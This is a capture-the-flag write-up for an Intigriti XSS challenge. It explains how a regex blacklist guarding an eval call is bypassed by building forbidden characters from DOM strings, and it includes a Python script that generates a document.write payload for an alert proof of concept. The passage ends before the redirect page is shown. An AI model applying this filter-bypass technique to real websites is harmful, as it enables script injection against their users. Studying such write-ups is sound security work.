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## Brief Description
The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\
This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe.
It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.\
However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\
Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.
## Accessing the HTML
It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\
Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways:
```javascript
document.domain
document["domain"]
```
And the same happens with attributes that are functions (methods):
```javascript
document.write("1")
document["write"]("1")
```
Then, from the `e` HTML element it’s possible to access the `document` object using something like:
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
```
## Calling a function without parenthesis with JS code as string
From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\
However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\
Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like:
```javascript
`${"alert(document.location)"}`
```
Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**:
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}`
```
You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
## Final forbidden characters bypass
However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\
This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\
In order to do this I have generated a [JSFuck](http://www.jsfuck.com) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\
You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_).
For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.\
Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit:
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}`
```
## Exploit Code
This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
```python
#JS Specific Direct Alphabet
x = {
"1": "1",
".": ".",
"[": "[e+e][0][0]",
"]": "[e+e][0][27]",
"/": "[/e/+e][0][0]",
"a": "[[]/e+e][0][1]",
"b": "[e+e][0][2]",
"c": "[e+e][0][5]",
"d": "[[][[]]+e][0][2]",
"e": "[e+e][0][4]",
"f": "[[][[]]+e][0][4]",
"g": "[e+e][0][15]",
"H": "[e+e][0][8]",
"i": "[[][[]]+e][0][5]",
"j": "[e+e][0][3]",
"L": "[e+e][0][11]",
"l": "[e+e][0][21]",
"M": "[e+e][0][10]",
"n": "[[][[]]+e][0][1]",
"N": "[[]/e+e][0][0]",
"o": "[e+e][0][1]",
"r": "[e+e][0][13]",
"s": "[e+e][0][18]",
"t": "[e+e][0][6]",
"T": "[e+e][0][9]",
"u": "[[][[]]+e][0][0]",
}
#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML
outerHTML = '+'.join(x[k] for k in 'outerHTML')
x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['<'] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'
parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
# Exploit generation
payload_text = ''
payload = '+'.join(x[k] for k in payload_text)
txt = f'{document}[{write}]'+'`${['+payload+']}`'
print(txt) #Write the exploit to stdout
```
## Exploitation
In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
```
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```
Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose (_note that the exploit is URL encoded_):
```markup